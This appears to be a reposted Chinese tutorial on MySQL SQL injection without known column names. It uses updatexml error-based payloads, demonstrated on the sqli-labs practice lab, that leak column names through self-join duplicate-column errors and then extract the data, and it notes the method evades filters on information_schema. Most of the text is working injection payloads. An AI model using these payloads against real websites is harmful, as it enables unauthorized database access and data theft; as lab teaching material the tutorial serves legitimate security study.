mysql無列名注入


0x00 原理

  mysql無列名注入是報錯注入的一個變種,前提是已知表名,但是不知道列名,或者只知道部分列名,可通過報錯注入拼接查詢自身表,當自表被拼接時,由於存在重復屬性列,會將列信息報錯返回,這樣我們就能知道表中的列名,再select 列名 from 表名 可直接查詢出對應的數據。

0x01 注入方法

  這里使用sqlilabs-1來演示。

0x01.1 使用union進行無列名注入

前提條件是我們知道sqlilabs 有 security 數據庫 emails 數據表 但我們不知道列名是什么。
爆第一個列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b)c),0x7e),1)--+

爆第二個列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+

using(id)的意思是將表通過id進行拼接,也就是說拼接兩張都含有id的表,其他表中屬性進行並運算拼接,如果出現重復屬性則報錯。

嘗試爆第三列

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id,email_id))c),0x7e),1)--+


雖然提示 Operand should contain 1 column(s) , 其實已經查詢失敗了。

對爆出的email_id列進行查詢

payload: ?id=1' and updatexml(1,concat(0x7e,(select concat_ws('|',id,email_id) from emails limit 0,1),0x7e),1)--+

payload: ?id=1' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails limit 0,1),0x7e),1)--+

0x01.2 不使用union進行無列名注入

爆第一個列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b)c),0x7e),1)--+


出了 id 列
爆第一個列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+


出了email_id列

查詢和使用union的一樣。

0x02 總結

  這種注入方式在使用正則表達式過濾了information_schema.tables,information_schema.columns等常規注入查詢系統表或者過濾了table_name,column_name時非常有效!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM